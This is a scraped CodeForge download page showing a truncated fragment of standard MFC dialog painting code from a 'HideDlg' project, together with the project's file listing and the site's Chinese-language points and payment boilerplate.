void CMyDlg::OnPaint()
if (IsIconic()) {
CPaintDC dc(this); // device context for painting
SendMessage(WM_ICONERASEBKGND, (WPARAM) dc.GetSafeHdc(), 0);
// Center icon in client rectangle
int cxIcon = GetSystemMetrics(SM_CXICON);
int cyIcon = GetSystemMetrics(SM_CYICON);
GetClientRect(&rect);
int x = (rect.Width() - cxIcon + 1) / 2;
int y = (rect.Height() - cyIcon + 1) / 2;
// Draw the icon
dc.DrawIcon(x, y, m_hIcon);
CDialog::OnPaint();
// The system calls this to obtain the cursor to display while the user drags
// the minimized window.
HCURSOR CMyDlg::OnQueryDragIcon()
return (HCURSOR) m_hI
展开> <收缩
下载源码到电脑,阅读使用更方便
还剩0行未阅读,继续阅读 ▼
Sponsored links
源码文件列表
温馨提示: 点击源码文件名可预览文件内容哦 ^_^
&HideDlg&0.00 B10-04-09 11:19
&Debug&0.00 B09-04-09 18:53
hidedlg.exe116.05 kB09-04-09 18:53
hidedlg.aps33.27 kB09-04-09 18:43
7.90 kB09-04-09 18:53
HideDlg.dep260.00 B07-02-00 12:53
hidedlg.dsp3.76 kB10-04-09 11:19
HideDlg.dsw537.00 B25-04-03 16:50
hidedlg.mak5.00 kB08-02-00 15:51
HideDlg.ncb105.00 kB10-04-09 11:19
HideDlg.opt54.50 kB10-04-09 11:19
hidedlg.plg1.10 kB09-04-09 18:53
4.81 kB09-04-09 18:43
197.00 B07-02-00 12:53
3.48 kB07-02-00 12:53
&res&0.00 B10-04-09 11:07
app.ico2.93 kB25-04-03 11:16
app.rc2400.00 B15-07-99 18:34
VCKBASELOGO.BMP4.93 kB25-04-03 13:21
822.00 B25-04-03 13:33
5.98 kB25-04-03 16:52
2.23 kB25-04-03 16:52
209.00 B07-02-00 12:53
999.00 B15-07-99 18:34
5.18 kB22-09-99 09:55
hidedlg.bsc3.49 MB09-04-09 18:53
hidedlg.ilk319.75 kB09-04-09 18:53
hidedlg.obj48.93 kB09-04-09 18:53
hidedlg.pch6.55 MB09-04-09 18:26
hidedlg.pdb433.00 kB09-04-09 18:53
hidedlg.res1.09 kB09-04-09 18:43
&hidedlg.sbr&0.00 B09-04-09 18:53
StatLink.obj25.86 kB09-04-09 18:26
&StatLink.sbr&0.00 B09-04-09 18:26
StdAfx.obj103.02 kB09-04-09 18:26
StdAfx.sbr1.31 MB09-04-09 18:26
vc60.idb201.00 kB10-04-09 11:10
vc60.pdb356.00 kB09-04-09 18:53
Key_.log672.00 B09-04-09 18:50
Sponsored links
评价成功,多谢!
CodeForge积分(原CF币)全新升级,功能更强大,使用更便捷,不仅可以用来下载海量源代码马上还可兑换精美小礼品了
您的积分不足
支付宝优惠套餐快速获取 30 积分
10积分 / ¥100
30积分 / ¥200原价 ¥300 元
100积分 / ¥500原价 ¥1000 元
订单支付完成后,积分将自动加入到您的账号。以下是优惠期的人民币价格,优惠期过后将恢复美元价格。
支付宝支付宝付款
微信钱包微信付款
更多付款方式:、
您本次下载所消耗的积分将转交上传作者。
同一源码,30天内重复下载,只扣除一次积分。
鲁ICP备号-3 runtime:Elapsed:116.449ms 27.69
登录 CodeForge
还没有CodeForge账号?
Switch to the English version?
^_^"呃 ...
Sorry!这位大神很神秘,未开通博客呢,请浏览一下其他的吧

我要回帖

更多关于 Get 的文章

 

随机推荐